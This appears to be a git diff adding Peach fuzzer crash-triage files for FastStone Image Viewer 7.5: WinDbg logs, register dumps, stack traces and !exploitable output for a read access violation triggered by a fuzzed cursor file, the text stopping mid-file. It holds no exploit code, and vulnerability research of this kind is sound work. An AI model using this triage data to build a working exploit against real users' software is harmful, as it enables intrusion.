Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/58/WindowsDebugEngine_description.txt @@ -0,0 +1,210 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Deferred srv*c:\symbols*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols;srv*c:\symbols*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffe`170c0000 00007ffe`172b0000 ntdll.dll +ModLoad: 00000000`77240000 00000000`773da000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b31000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1094: page heap enabled with flags 0x3. +ModLoad: 00007ffe`15390000 00007ffe`153e5000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffe`15cd0000 00007ffe`15d4d000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77230000 00000000`77239000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`71f50000 00000000`71fb3000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1094: page heap enabled with flags 0x3. +ModLoad: 00000000`770d0000 00000000`771b0000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`76e10000 00000000`7700f000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75950000 00000000`75ae8000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`750d0000 00000000`750e7000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`75b00000 00000000`75b21000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75640000 00000000`7579c000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`74a30000 00000000`74aac000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`76220000 00000000`76340000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76c10000 00000000`76c89000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76ca0000 00000000`76d5f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`74ab0000 00000000`74b26000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`76450000 00000000`7650b000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`74a00000 00000000`74a25000 C:\Windows\SysWOW64\SspiCli.dll +ModLoad: 00000000`749f0000 00000000`749fa000 C:\Windows\SysWOW64\CRYPTBASE.dll +ModLoad: 00000000`76d60000 00000000`76dc0000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`77030000 00000000`770c2000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`74e40000 00000000`750b6000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`748f0000 00000000`748f8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`71f40000 00000000`71f46000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`76120000 00000000`76217000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`76610000 00000000`76635000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`71d30000 00000000`71f3f000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.18362.1256_none_e62b6e72f8da69e8\comctl32.dll +ModLoad: 00000000`75ba0000 00000000`7611b000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`71cc0000 00000000`71d2b000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`74b30000 00000000`74b6b000 C:\Windows\SysWOW64\cfgmgr32.dll +ModLoad: 00000000`75140000 00000000`7514f000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`76560000 00000000`765e4000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`765f0000 00000000`76609000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`71bf0000 00000000`71cb6000 C:\Windows\SysWOW64\PROPSYS.dll +ModLoad: 00000000`71bb0000 00000000`71be2000 C:\Windows\SysWOW64\IPHLPAPI.DLL +ModLoad: 00000000`76640000 00000000`76c01000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`751d0000 00000000`751eb000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`76510000 00000000`76553000 C:\Windows\SysWOW64\powrprof.dll +ModLoad: 00000000`75b90000 00000000`75b9d000 C:\Windows\SysWOW64\UMPDC.dll +ModLoad: 00000000`76dc0000 00000000`76e04000 C:\Windows\SysWOW64\shlwapi.dll +ModLoad: 00000000`77010000 00000000`77023000 C:\Windows\SysWOW64\cryptsp.dll +ModLoad: 00000000`75890000 00000000`75940000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`71b80000 00000000`71ba2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`71b60000 00000000`71b7b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`71990000 00000000`719b4000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`719c0000 00000000`71b59000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`71970000 00000000`71989000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`71940000 00000000`71963000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001d0000 00000000`001f3000 C:\Windows\SysWOW64\WINMMBASE.dll +ModLoad: 718c0000 7193a000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76340000 00000000`76443000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`718a0000 00000000`718b9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`771b0000 00000000`77230000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`71730000 00000000`71899000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`716c0000 00000000`71721000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`716b0000 00000000`716b7000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`71670000 00000000`716a1000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`71490000 00000000`7166e000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`71320000 00000000`7148a000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`71250000 00000000`71311000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`71230000 00000000`71249000 C:\Windows\SysWOW64\dxcore.dll +ModLoad: 00000000`71040000 00000000`71225000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`71020000 00000000`7103f000 C:\Windows\SysWOW64\RMCLIENT.dll +ModLoad: 00000000`70fd0000 00000000`7101a000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`70fc0000 00000000`70fca000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`70fa0000 00000000`70fb5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`70f80000 00000000`70f99000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`70f70000 00000000`70f7b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`70f50000 00000000`70f68000 C:\Windows\SysWOW64\MPR.dll +ModLoad: 00000000`70f30000 00000000`70f41000 C:\Windows\SysWOW64\vmhgfs.dll +ModLoad: 00000000`70f10000 00000000`70f24000 C:\Windows\SysWOW64\VCRUNTIME140.dll +ModLoad: 00000000`70f00000 00000000`70f09000 C:\Windows\SysWOW64\drprov.dll +ModLoad: 00000000`70eb0000 00000000`70ef4000 C:\Windows\SysWOW64\WINSTA.dll +ModLoad: 00000000`70e90000 00000000`70ea2000 C:\Windows\SysWOW64\ntlanman.dll +ModLoad: 00000000`70e70000 00000000`70e89000 C:\Windows\SysWOW64\davclnt.dll +ModLoad: 00000000`70e60000 00000000`70e6a000 C:\Windows\SysWOW64\DAVHLPR.dll +ModLoad: 00000000`70e50000 00000000`70e60000 C:\Windows\SysWOW64\wkscli.dll +ModLoad: 00000000`70e40000 00000000`70e4e000 C:\Windows\SysWOW64\cscapi.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`70db0000 00000000`70e32000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1094.16d0): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=00006d2d ecx=081255b0 edx=00003879 esi=14e295d0 edi=0d460fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.845192793179178080000e+0017 +st4= 0.000000000000000000000e+0000 st5= 1.000000000000000000000e+0000 +st6= 2.539999999999999999970e+0000 st7= 3.851104700000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 1.4013e-045 +xmm7=-4.71921e+009 6.56294e+022 -1.27711e-030 8.98654e-007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08208130 08185930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 770e6359 00367000 770e6340 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 772a8944 00367000 5d905199 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 772a8914 ffffffff 772ca0b7 00000000 ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00367000 00000000 ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/58/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/58/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..bdeed19 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/58/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/58381/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/58381/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/58381/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/58381/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/58381/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..aaf81b6 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/58381/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/58381/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/58381/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..fb013fc --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/58381/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x12EC: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x12EC: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bf0000 00000000`74c12000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bd0000 00000000`74beb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001e0000 00000000`001fd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(12ec.16c4): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0000ed2d ecx=07e17b10 edx=00003879 esi=12738f10 edi=0f674fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.707270054558844000000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 8.958619000000000000000e+0006 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=7.86055e+007 1.02683e-009 -6.39869e-028 -0.765507 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07ef8130 07e75930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002cd000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002cd000 fa192272 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6290 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002cd000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax 